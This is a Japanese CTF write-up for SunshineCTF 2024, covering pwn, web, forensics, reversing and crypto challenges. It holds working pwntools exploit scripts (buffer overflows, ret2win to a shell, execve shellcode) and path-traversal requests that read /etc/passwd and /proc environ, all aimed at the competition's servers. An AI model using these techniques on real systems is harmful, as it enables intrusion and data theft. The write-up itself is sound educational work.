SunshineCTF 2024 Writeup

この大会は2024/10/19 23:00(JST)~2024/10/21 23:00(JST)に開催されました。
今回もチームで参戦。結果は 431点で642チーム中125位でした。
自分で解けた問題をWriteupとして書いておきます。

00-BEGIN-FLAG (Misc)

問題にフラグが書いてあった。

sun{00-i-was-here}

Helpdesk (Misc)

Discordに入り、#helpdeskチャネルのトピックを見ると、フラグが書いてあった。

sun{w3lc0me_t0_h3lpd3sk}

Melbourne (I-95)

Ghidraでデコンパイルする。

void main(void)

{
  int iVar1;
  FILE *__stream;
  long in_FS_OFFSET;
  char local_158 [112];
  char local_e8 [112];
  char local_78 [104];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  fflush(stdout);
  fflush(stdin);
  fgets(local_e8,0x8c,stdin);
  iVar1 = strncmp(local_78,"0xdeadbeef",10);
  if (iVar1 == 0) {
    __stream = fopen("flag.txt","r");
    if (__stream == (FILE *)0x0) {
      puts("There was an issue opening the file.");
    }
    else {
      fgets(local_158,99,__stream);
      printf("Flag is: %s\n",local_158);
      fclose(__stream);
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

任意の112バイトの後に、"0xdeadbeef"を入力すると、フラグが表示される。

$ nc 2024.sunshinectf.games 24601
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0xdeadbeef
Flag is: sun{Windows are quite enjoyable to look out of. I think there's a duck over there.}

Cape Canaveral (I-95)

Ghidraでデコンパイルする。

void main(void)

{
  fflush(stdout);
  fflush(stdin);
  func0();
  return;
}

void func0(void)

{
  char local_78 [112];
  
  printf("Enter the launch command: ");
  gets(local_78);
  return;
}

void win(void)

{
  system("/bin/sh");
  return;
}

BOFでwin関数をコールすれば良い。

$ ROPgadget --binary canaveral | grep ": ret"
0x000000000040101a : ret
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('2024.sunshinectf.games', 24602)
else:
    p = process('./canaveral')

elf = ELF('./canaveral')

ret_addr = 0x40101a
win_addr = elf.symbols['win']

payload = b'A' * 120
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 2024.sunshinectf.games on port 24602: Done
[*] '/mnt/hgfs/Shared/canaveral'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'$ORIGIN'
Enter the launch command: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\xb6\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ ls
flag.txt
$ cat flag.txt
sun{Wait, that duck isn't a duck, it's really a polar bear.}
sun{Wait, that duck isn't a duck, it's really a polar bear.}

Palm Beach (I-95)

Ghidraでデコンパイルする。

void main(void)

{
  fflush(stdin);
  fflush(stdout);
  func0();
  return;
}

void func0(void)

{
  char local_a8 [160];
  
  printf("Speed limit: %p\n",local_a8);
  gets(local_a8);
  return;
}

バッファの先頭アドレスがわかるので、そこにシェルコードを配置して、リターンアドレスにバッファ先頭アドレスを配置して実行する。シェルコードは以下のものを使う。

https://shell-storm.org/shellcode/files/shellcode-806.html
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('2024.sunshinectf.games', 24603)
else:
    p = process('./palmbeach')


payload = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
payload += b'A' * (168 - len(payload))

data = p.recvline().decode().rstrip()
print(data)
buf_addr = int(data.split(' ')[-1], 16)

payload += p64(buf_addr)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 2024.sunshinectf.games on port 24603: Done
Speed limit: 0x7ffd5f135090
b'1\xc0H\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x90P\x13_\xfd\x7f\x00\x00'
[*] Switching to interactive mode
$ ls
flag.txt
$ cat flag.txt
sun{I should probably wash my window, that polar bear looks like a duck.}
sun{I should probably wash my window, that polar bear looks like a duck.}

Fort Pierce (I-95)

Ghidraでデコンパイルする。

void main(void)

{
  long in_FS_OFFSET;
  char local_e8 [9];
  char local_df;
  char local_dc;
  char local_c8;
  char local_c0;
  char local_b9;
  char local_b6;
  char local_99;
  char local_90;
  char local_8e;
  ulong local_78 [13];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  fflush(stdout);
  fflush(stdin);
  printf("Welcome to Fort Pierce... please store your munitions here: ");
  memset(local_e8,0,100);
  memset(local_78,0,100);
  fgets(local_e8,0x8c,stdin);
  if (local_e8[0] != 'f') {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (local_b6 != 'u') {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (local_90 != 'z') {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (local_dc != 'z') {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (local_df != 'y') {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (local_99 != 's') {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (local_b9 != 'o') {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (local_c0 != 'c') {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (local_8e != 'k') {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if (local_c8 != 's') {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  if ((code *)(local_78[0] ^ 8) != (code *)0x0) {
    (*(code *)(local_78[0] ^ 8))();
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void get_flag(void)

{
  FILE *__stream;
  long in_FS_OFFSET;
  char local_78 [104];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    puts("There was an issue opening the file.");
  }
  else {
    fgets(local_78,99,__stream);
    puts(local_78);
    fclose(__stream);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
$ gdb -q ./fortpierce
Reading symbols from ./fortpierce...
(No debugging symbols found in ./fortpierce)
gdb-peda$ disas main
Dump of assembler code for function main:
   0x00000000004012e9 <+0>:     endbr64
   0x00000000004012ed <+4>:     push   rbp
   0x00000000004012ee <+5>:     mov    rbp,rsp
   0x00000000004012f1 <+8>:     sub    rsp,0xf0
   0x00000000004012f8 <+15>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000401301 <+24>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401305 <+28>:    xor    eax,eax
   0x0000000000401307 <+30>:    mov    rax,QWORD PTR [rip+0x2d72]        # 0x404080 <stdout@GLIBC_2.2.5>
   0x000000000040130e <+37>:    mov    rdi,rax
   0x0000000000401311 <+40>:    call   0x401130 <fflush@plt>
   0x0000000000401316 <+45>:    mov    rax,QWORD PTR [rip+0x2d73]        # 0x404090 <stdin@GLIBC_2.2.5>
   0x000000000040131d <+52>:    mov    rdi,rax
   0x0000000000401320 <+55>:    call   0x401130 <fflush@plt>
   0x0000000000401325 <+60>:    lea    rax,[rip+0xd14]        # 0x402040
   0x000000000040132c <+67>:    mov    rdi,rax
   0x000000000040132f <+70>:    mov    eax,0x0
   0x0000000000401334 <+75>:    call   0x401100 <printf@plt>
   0x0000000000401339 <+80>:    mov    QWORD PTR [rbp-0xe8],0x0
   0x0000000000401344 <+91>:    lea    rax,[rbp-0xe0]
   0x000000000040134b <+98>:    mov    edx,0x64
   0x0000000000401350 <+103>:   mov    esi,0x0
   0x0000000000401355 <+108>:   mov    rdi,rax
   0x0000000000401358 <+111>:   call   0x401110 <memset@plt>
   0x000000000040135d <+116>:   lea    rax,[rbp-0x70]
   0x0000000000401361 <+120>:   mov    edx,0x64
   0x0000000000401366 <+125>:   mov    esi,0x0
   0x000000000040136b <+130>:   mov    rdi,rax
   0x000000000040136e <+133>:   call   0x401110 <memset@plt>
   0x0000000000401373 <+138>:   mov    rdx,QWORD PTR [rip+0x2d16]        # 0x404090 <stdin@GLIBC_2.2.5>
   0x000000000040137a <+145>:   lea    rax,[rbp-0xe0]
   0x0000000000401381 <+152>:   mov    esi,0x8c
   0x0000000000401386 <+157>:   mov    rdi,rax
   0x0000000000401389 <+160>:   call   0x401120 <fgets@plt>
   0x000000000040138e <+165>:   movzx  eax,BYTE PTR [rbp-0xe0]
   0x0000000000401395 <+172>:   cmp    al,0x66
   0x0000000000401397 <+174>:   je     0x4013a3 <main+186>
   0x0000000000401399 <+176>:   mov    edi,0x0
   0x000000000040139e <+181>:   call   0x401160 <exit@plt>
   0x00000000004013a3 <+186>:   movzx  eax,BYTE PTR [rbp-0xae]
   0x00000000004013aa <+193>:   cmp    al,0x75
   0x00000000004013ac <+195>:   je     0x4013b8 <main+207>
   0x00000000004013ae <+197>:   mov    edi,0x0
   0x00000000004013b3 <+202>:   call   0x401160 <exit@plt>
   0x00000000004013b8 <+207>:   movzx  eax,BYTE PTR [rbp-0x88]
   0x00000000004013bf <+214>:   cmp    al,0x7a
   0x00000000004013c1 <+216>:   je     0x4013cd <main+228>
   0x00000000004013c3 <+218>:   mov    edi,0x0
   0x00000000004013c8 <+223>:   call   0x401160 <exit@plt>
   0x00000000004013cd <+228>:   movzx  eax,BYTE PTR [rbp-0xd4]
   0x00000000004013d4 <+235>:   cmp    al,0x7a
   0x00000000004013d6 <+237>:   je     0x4013e2 <main+249>
   0x00000000004013d8 <+239>:   mov    edi,0x0
   0x00000000004013dd <+244>:   call   0x401160 <exit@plt>
   0x00000000004013e2 <+249>:   movzx  eax,BYTE PTR [rbp-0xd7]
   0x00000000004013e9 <+256>:   cmp    al,0x79
   0x00000000004013eb <+258>:   je     0x4013f7 <main+270>
   0x00000000004013ed <+260>:   mov    edi,0x0
   0x00000000004013f2 <+265>:   call   0x401160 <exit@plt>
   0x00000000004013f7 <+270>:   movzx  eax,BYTE PTR [rbp-0x91]
   0x00000000004013fe <+277>:   cmp    al,0x73
   0x0000000000401400 <+279>:   je     0x40140c <main+291>
   0x0000000000401402 <+281>:   mov    edi,0x0
   0x0000000000401407 <+286>:   call   0x401160 <exit@plt>
   0x000000000040140c <+291>:   movzx  eax,BYTE PTR [rbp-0xb1]
   0x0000000000401413 <+298>:   cmp    al,0x6f
   0x0000000000401415 <+300>:   je     0x401421 <main+312>
   0x0000000000401417 <+302>:   mov    edi,0x0
   0x000000000040141c <+307>:   call   0x401160 <exit@plt>
   0x0000000000401421 <+312>:   movzx  eax,BYTE PTR [rbp-0xb8]
   0x0000000000401428 <+319>:   cmp    al,0x63
   0x000000000040142a <+321>:   je     0x401436 <main+333>
   0x000000000040142c <+323>:   mov    edi,0x0
   0x0000000000401431 <+328>:   call   0x401160 <exit@plt>
   0x0000000000401436 <+333>:   movzx  eax,BYTE PTR [rbp-0x86]
   0x000000000040143d <+340>:   cmp    al,0x6b
   0x000000000040143f <+342>:   je     0x40144b <main+354>
   0x0000000000401441 <+344>:   mov    edi,0x0
   0x0000000000401446 <+349>:   call   0x401160 <exit@plt>
   0x000000000040144b <+354>:   movzx  eax,BYTE PTR [rbp-0xc0]
   0x0000000000401452 <+361>:   cmp    al,0x73
   0x0000000000401454 <+363>:   je     0x401460 <main+375>
   0x0000000000401456 <+365>:   mov    edi,0x0
   0x000000000040145b <+370>:   call   0x401160 <exit@plt>
   0x0000000000401460 <+375>:   lea    rax,[rbp-0x70]
   0x0000000000401464 <+379>:   mov    rax,QWORD PTR [rax]
   0x0000000000401467 <+382>:   xor    rax,0x8
   0x000000000040146b <+386>:   mov    QWORD PTR [rbp-0xe8],rax
   0x0000000000401472 <+393>:   cmp    QWORD PTR [rbp-0xe8],0x0
   0x000000000040147a <+401>:   je     0x401485 <main+412>
   0x000000000040147c <+403>:   mov    rax,QWORD PTR [rbp-0xe8]
   0x0000000000401483 <+410>:   call   rax
   0x0000000000401485 <+412>:   nop
   0x0000000000401486 <+413>:   mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040148a <+417>:   sub    rax,QWORD PTR fs:0x28
   0x0000000000401493 <+426>:   je     0x40149a <main+433>
   0x0000000000401495 <+428>:   call   0x4010f0 <__stack_chk_fail@plt>
   0x000000000040149a <+433>:   leave
   0x000000000040149b <+434>:   ret
End of assembler dump.

rbp-0xe0を基準にバッファのインデックスとして、各値を配置すればよい。

rbp-0xe0: "f"
rbp-0xae: "u"
rbp-0x88: "z"
rbp-0xd4: "z"
rbp-0xd7: "y"
rbp-0x91: "s"
rbp-0xb1: "o"
rbp-0xb8: "c"
rbp-0x86: "k"
rbp-0xc0: "s"
rbp-0x70: get_flag関数アドレス
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('2024.sunshinectf.games', 24606)
else:
    p = process('./fortpierce')

elf = ELF('./fortpierce')

get_flag_addr = elf.symbols['get_flag']

index = [-0xe0, -0xae, -0x88, -0xd4, -0xd7, -0x91, -0xb1, -0xb8, -0x86, -0xc0, -0x70]
chars = list(b'fuzzysocks')

payload = [b'A'] * 256
for i in range(len(index) - 1):
    payload[index[i] - index[0]] = bytes([chars[i]])

idx = index[-1] - index[0]
codes_addr = list(p64(get_flag_addr))
for i in range(len(codes_addr)):
    payload[idx + i] = bytes([codes_addr[i]])

payload = b''.join(payload)

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)

実行結果は以下の通り。

[+] Opening connection to 2024.sunshinectf.games on port 24606: Done
[*] '/mnt/hgfs/Shared/fortpierce'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'$ORIGIN'
Welcome to Fort Pierce... please store your munitions here: b'fAAAAAAAAyAAzAAAAAAAAAAAAAAAAAAAsAAAAAAAcAAAAAAoAAuAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAAAAAAAAzAkAAAAAAAAAAAAAAAAAAAAAV\x12@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
sun{Although, this dragon is a really nice dragon, they gave me great car buying advice.}
[*] Closed connection to 2024.sunshinectf.games port 24606
sun{Although, this dragon is a really nice dragon, they gave me great car buying advice.}

Twine (Reversing)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  puts("This is but a single string! No flags to be found here.");
  return 0;
}

char * flag(void)

{
  return "flag{youd_be_better_off_reading_the_source_code_directly_but_i_guess_this_is_fine}";
}

コード中にフラグが書いてあった。

flag{youd_be_better_off_reading_the_source_code_directly_but_i_guess_this_is_fine}

Lost Caves of Files Island (Web)

https://islands.2024.sunshinectf.games/robots.txtにアクセスすると、以下のように表示された。

# Tell alimuhammadsecured to remove all non-existent (404) paths!

User-agent: *
Disallow: /admin

https://islands.2024.sunshinectf.games/adminにアクセスすると、404のエラーになり、以下のURLに遷移する。

https://islands.2024.sunshinectf.games/404?cave=adventure/secret_map

https://islands.2024.sunshinectf.games/404?cave=../../etc/passwdにアクセスすると、以下が表示された。

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
unprivileged:x:100:101::/home/unprivileged:/bin/bash

いろいろフラグを探したが、見つからない。環境変数を見てみる。
https://islands.2024.sunshinectf.games/404?cave=../../proc/1/environにアクセスすると、以下が表示された。

HOSTNAME=01656d40bed0PYTHON_VERSION=3.11.10PWD=/opt/chalDOMAIN=your-domainHOME=/home/unprivilegedLANG=C.UTF-8GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696DFLAG=sun{lf1_us1ng_proc_f1les_1s_fUN}SHLVL=0PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

環境変数FLAGにフラグが設定されていた。

sun{lf1_us1ng_proc_f1les_1s_fUN}

icmp 1 (Forensics)

icmpでフィルタリングすると、No.3135, 3136のパケットのデータ部にフラグがあった。

sun{0n1y_a_p1ng_@way}

icmp 2 (Forensics)

icmpでフィルタリングすると、No.5976のパケット以降フラグが分断されて送受信されているので、結合する。

sun{1cmp_1s_4un_1337}

Certified (Crypto)

$ file server.pem 
server.pem: PEM certificate
$ openssl x509 -in server.pem -text -noout 
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            7d:13:aa:01:b8:d3:2c:95:68:64:ee:1a:f5:5a:2b:5a:ce:06:08:ac
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=US, ST=FL, L=Orlando, O=CTF, OU=CTF, CN=CTF
        Validity
            Not Before: Oct 10 06:02:49 2024 GMT
            Not After : Nov  9 06:02:49 2024 GMT
        Subject: C=US, ST=FL, L=Orlando, O=CTF, OU=CTF, CN=CTF
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:a2:05:4a:0b:4f:e8:c6:b2:12:fd:57:b5:f3:d5:
                    e0:f2:c6:cf:4b:da:bc:64:a1:32:69:f9:90:49:c6:
                    e0:02:81:df:5b:d6:18:9e:3e:ef:14:c4:41:b3:14:
                    62:cf:24:44:e9:77:9c:bf:f9:76:cd:49:8a:31:b3:
                    ca:6d:55:50:cd:13:44:ba:d8:3e:e2:24:7f:64:28:
                    d6:2b:6c:53:bf:75:ea:3e:c8:39:cb:d1:c6:62:d4:
                    ab:66:91:06:66:d4:f9:77:fc:33:1d:e5:cc:4a:fd:
                    77:db:65:96:7e:9b:81:e2:80:c9:57:06:9c:57:03:
                    0d:89:22:da:15:35:ae:0a:55:fd:9d:1e:08:90:f4:
                    98:21:16:ce:b1:30:28:64:5d:aa:e5:ea:17:02:cc:
                    16:29:f7:eb:6b:67:54:0c:fd:89:ba:06:c3:4c:1f:
                    ef:f3:56:24:1a:e5:39:23:dd:da:e6:d4:81:07:38:
                    10:c8:41:78:32:b0:2f:8d:cc:6e:37:8e:92:59:d3:
                    53:49:5d:87:9b:23:1f:29:f7:2d:f4:85:3a:3d:e0:
                    a9:7b:6a:f8:e5:5f:1a:90:9e:41:13:fe:c1:89:06:
                    5f:91:59:8d:ef:21:a3:97:80:ec:e0:c7:8d:02:03:
                    42:19:97:75:75:af:c3:a4:6c:bb:3d:6d:ce:2d:b2:
                    8e:83
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            1.3.6.1.4.1.56337.1: 
                .4c3Vue2IzdF91X2QxZG50X2tuMHdfYjB1dF9vMWRfbXNncyF9Cg==
            X509v3 Subject Key Identifier: 
                7F:38:8E:1B:BA:DA:D3:7D:2A:34:B6:43:53:5A:54:8A:FD:0A:4A:C7
            X509v3 Authority Key Identifier: 
                DirName:/C=US/ST=FL/L=Orlando/O=CTF/OU=CTF/CN=CTF
                serial:5A:A7:0F:0A:03:19:4D:0F:BB:90:AB:2D:63:D6:8C:5C:E0:FE:52:BF
    Signature Algorithm: sha256WithRSAEncryption
    Signature Value:
        ba:99:dc:08:bc:bc:4b:b3:79:95:8e:48:4d:27:32:17:b2:02:
        05:43:72:ae:f4:2e:5f:cf:d2:9f:e7:ee:97:5b:12:7a:8d:68:
        00:c2:80:50:d2:c0:7e:35:b6:9c:83:10:81:70:95:17:b2:ec:
        38:3b:10:d4:86:f5:1d:09:65:8f:91:52:2d:4b:f9:68:a2:90:
        9a:5e:ab:80:4c:de:75:91:22:27:4a:97:3d:80:69:9f:15:87:
        59:69:92:97:c8:ea:79:aa:a6:d3:cd:53:ec:54:f6:d0:af:e5:
        c7:89:60:c3:db:a8:68:24:3e:03:17:1b:23:05:4d:11:44:eb:
        63:4e:19:46:b7:44:ab:28:e7:a4:7c:83:eb:ba:fd:4c:9b:7d:
        dc:52:78:ed:b1:de:af:cf:e9:e1:a3:f9:1d:c9:12:f9:7c:93:
        13:09:ba:2e:5d:9a:30:52:a0:58:2b:07:71:c6:af:cc:7e:3b:
        36:21:34:80:15:28:95:13:45:61:10:91:b2:76:bb:8a:b9:b7:
        4c:55:a5:72:de:66:a4:c0:7a:68:9c:01:cd:24:39:f1:47:75:
        8a:5b:3b:c4:a2:ca:23:c7:18:2e:fe:3c:e1:ec:76:7f:8c:a3:
        9f:8f:02:74:2f:19:0a:90:cc:da:9c:a3:7e:f1:84:fe:0f:a6:
        c8:77:6f:ae

中にbase64文字列があるので、デコードする。

$ echo c3Vue2IzdF91X2QxZG50X2tuMHdfYjB1dF9vMWRfbXNncyF9Cg== | base64 -d
sun{b3t_u_d1dnt_kn0w_b0ut_o1d_msgs!}
sun{b3t_u_d1dnt_kn0w_b0ut_o1d_msgs!}

Adventure Cipher (Crypto)

使用されているワードの種類は30種類で平文の文字種の数と同じ。まず各ワードの数を割り出す。

[+] Adventure: 199
[+] Bridge: 4
[+] Crossing: 21
[+] Discovery: 2
[+] Escapade: 329
[+] Expedition: 82
[+] Exploration: 224
[+] Field: 33
[+] Journey: 72
[+] Migration: 109
[+] Odyssey: 69
[+] Passage: 69
[+] Pathway: 190
[+] Pilgrimage: 421
[+] Pursuit: 78
[+] Quest: 146
[+] Ridge: 701
[+] River: 1
[+] Roaming: 6
[+] Sojourn: 4
[+] Survivor: 11
[+] Trail: 74
[+] Travel: 51
[+] Traverse: 53
[+] Trek: 150
[+] Valley: 1
[+] Venture: 230
[+] Voyage: 295
[+] Wander: 198
[+] Wanderlust: 231

RiverとValleyが1個ずつで、Riverの方が先に出現しているので"{"に対応する。そしてValleyが"}"に対応する。また、Bridgeはこの間にしか出現しないため"_"に対応する。数が多いRidgeは" "(Space)に対応する。

#!/usr/bin/env python3
from string import *

with open('letter.txt', 'r', encoding='utf8') as f:
    enc = f.read()

enc2 = enc.replace(', ', '').replace('. ', '').replace('- ', '')
enc2 = enc2.replace('\' ', '').replace('\n', '')
enc2 = enc2.split(' ')

words = []
for c in enc2:
    if c not in words:
        words.append(c)

words = sorted(words)[1:-1]
print('[+] kinds of words:', len(words))

for word in words:
    count = enc2.count(word)
    print('[+] %s: %d' % (word, count))

enc2 = enc.replace(', ', ',')
enc2 = enc.replace('. ', '.')
enc2 = enc.replace('- ', '-')
enc2 = enc.replace('\' ', '\'')

enc2 = enc2.replace('River ', '{')
enc2 = enc2.replace('Valley ', '}')
enc2 = enc2.replace('Bridge ', '_')
enc2 = enc2.replace('Ridge ', ' ')

words.remove('River')
words.remove('Valley')
words.remove('Bridge')
words.remove('Ridge')

for i in range(len(words) - 1, -1, -1):
    enc2 = enc2.replace(words[i] + ' ', ascii_lowercase[i])
    enc2 = enc2.replace(words[i], ascii_lowercase[i])

print('**** cipher text ****')
print(enc2)

実行結果は以下の通り。

[+] kinds of words: 30
[+] Adventure: 199
[+] Bridge: 4
[+] Crossing: 21
[+] Discovery: 2
[+] Escapade: 329
[+] Expedition: 82
[+] Exploration: 224
[+] Field: 33
[+] Journey: 72
[+] Migration: 109
[+] Odyssey: 69
[+] Passage: 69
[+] Pathway: 190
[+] Pilgrimage: 421
[+] Pursuit: 78
[+] Quest: 146
[+] Ridge: 701
[+] River: 1
[+] Roaming: 6
[+] Sojourn: 4
[+] Survivor: 11
[+] Trail: 74
[+] Travel: 51
[+] Traverse: 53
[+] Trek: 150
[+] Valley: 1
[+] Venture: 230
[+] Voyage: 295
[+] Wander: 198
[+] Wanderlust: 231
**** cipher text ****
dy kt mwdmmkmo vzmhm,  dam lxozxfd vylo ys dam wifwazfm xvvzxfem,

 zd zw nzda hlmxd ayfyl xfo x amxld sivv ys dlzikua daxd z,  wzl xvxlze ys dam wifwazfm xvvzxfem,  nlzdm dy tyi.  xsdml x umlzvyiw qyilfmt dalyiha dam oxifdzfh vxfowexumw ys dam elzkwyf umxbw xfo dam diljivmfd lzgmlw ys dam waxoynmo gxvm,  z axgm lmdilfmo gzedylzyiw,  jmxlzfh dam wxelmo svxh xw nxw sylmdyvo zf dam xfezmfd ulyuamezmw.

 kt qyilfmt jmhxf xd dam szlwd vzhad ys oxnf,  xw dam wif exwd zdw hyvomf lxtw iuyf yil jmvygmo vxfo.  nzda tyil jvmwwzfh xfo dam mkjvmk ys yil xvvzxfem ulyiovt ozwuvxtmo yf kt xlkyl,  z kyifdmo kt vytxv wdmmo,  dmkumwd,  xfo mkjxlbmo yf dam cimwd.  jt kt wzom,  mgml gzhzvxfd,  nxw kt sxzdasiv eykuxfzyf,  dam xvvzhxdyl bfynf xw jvxrm,  naywm bmmf zfwdzfedw xfo smxlwykm ulmwmfem ulygmo zfgxvixjvm dalyihayid yil xogmfdilm.

 dam uxda vmo iw szlwd dy dam jxwm ys dam elzkwyf umxbw,  namlm dam kyifdxzfw wdyyo dxvv xfo syljzoozfh,  damzl wfyn- exuumo umxbw uzmlezfh dam amxgmfw.  dam evzkj nxw wdmmu xfo dlmxeamlyiw,  dam lyebw wvzeb nzda zem xfo dam nzfow aynvzfh nzda x silt daxd eazvvmo km dy dam jyfm.  jid fmzdaml z fyl jvxrm nxgmlmo,  syl nm bfmn daxd yil kzwwzyf nxw ys dam idkywd zkuyldxfem dy dam wifwazfm xvvzxfem.

 syl oxtw nm evzkjmo,  mxea wdmu x jxddvm xhxzfwd dam mvmkmfdw.  jvxrm,  nzda azw uynmlsiv dxzv xfo waxlu evxnw,  fxgzhxdmo dam lyebt dmllxzf nzda mxwm,  ysdmf vmxozfh dam nxt namf dam uxda jmexkm dyy dlmxeamlyiw syl dmkumwd.  nm wamvdmlmo zf dam waxoyn ys dynmlzfh evzssw xfo ulmwwmo yf dalyiha dam jzdzfh eyvo,  olzgmf jt dam ulykzwm ys dam wif daxd xnxzdmo iw xd dam qyilfmt'w mfo.

 yf dam wmgmfda oxt,  nm lmxeamo dam wikkzd ys dam azhamwd umxb,  namlm x azoomf exgmlf xnxzdmo iw.  dam mfdlxfem nxw yjweilmo jt xfezmfd wdyfm exlgzfhw,  nylf jt dzkm jid wdzvv jmxlzfh dam ifkzwdxbxjvm wtkjyvw ys dam wifwazfm xvvzxfem.  nzda jvxrm xd kt wzom,  z mfdmlmo dam exgmlf,  dam xzl dazeb nzda dam nmzhad ys emfdilzmw- yvo wmelmdw.

 zfwzom,  dam exgmlf nxw gxwd xfo meayzfh,  zdw nxvvw xoylfmo nzda dam sxomo kilxvw ys yil xfemwdylw nay axo mkjxlbmo yf wzkzvxl cimwdw zf xhmw uxwd.  xd dam amxld ys dam exgmlf,  iuyf x lxzwmo oxzw,  vxt dam wif,  hvynzfh wysdvt nzda x hyvomf vzhad.  zd nxw x wzhad dy jmayvo� � � x jxffml nygmf slyk dam szfmwd dalmxow,  zdw eyvylw xw gzjlxfd xw dam oxt zd nxw elxsdmo,  xfo zkjimo nzda dam mwwmfem ys dam wif zdwmvs.

 jid xw z xuulyxeamo,  dam hlyifo dlmkjvmo jmfmxda iw,  xfo slyk dam omudaw ys dam exgmlf mkmlhmo x hixlozxf� � � x kzhadt olxhyf nzda wexvmw daxd wazkkmlmo vzbm kyvdmf hyvo,  zdw mtmw jilfzfh nzda dam szlm ys x dayiwxfo wifw.  jvxrm vmd yid x smlyezyiw azww,  azw qxnw wfxuuzfh zf omszxfem xw dam olxhyf lyxlmo,  waxbzfh dam gmlt syifoxdzyfw ys dam kyifdxzf.

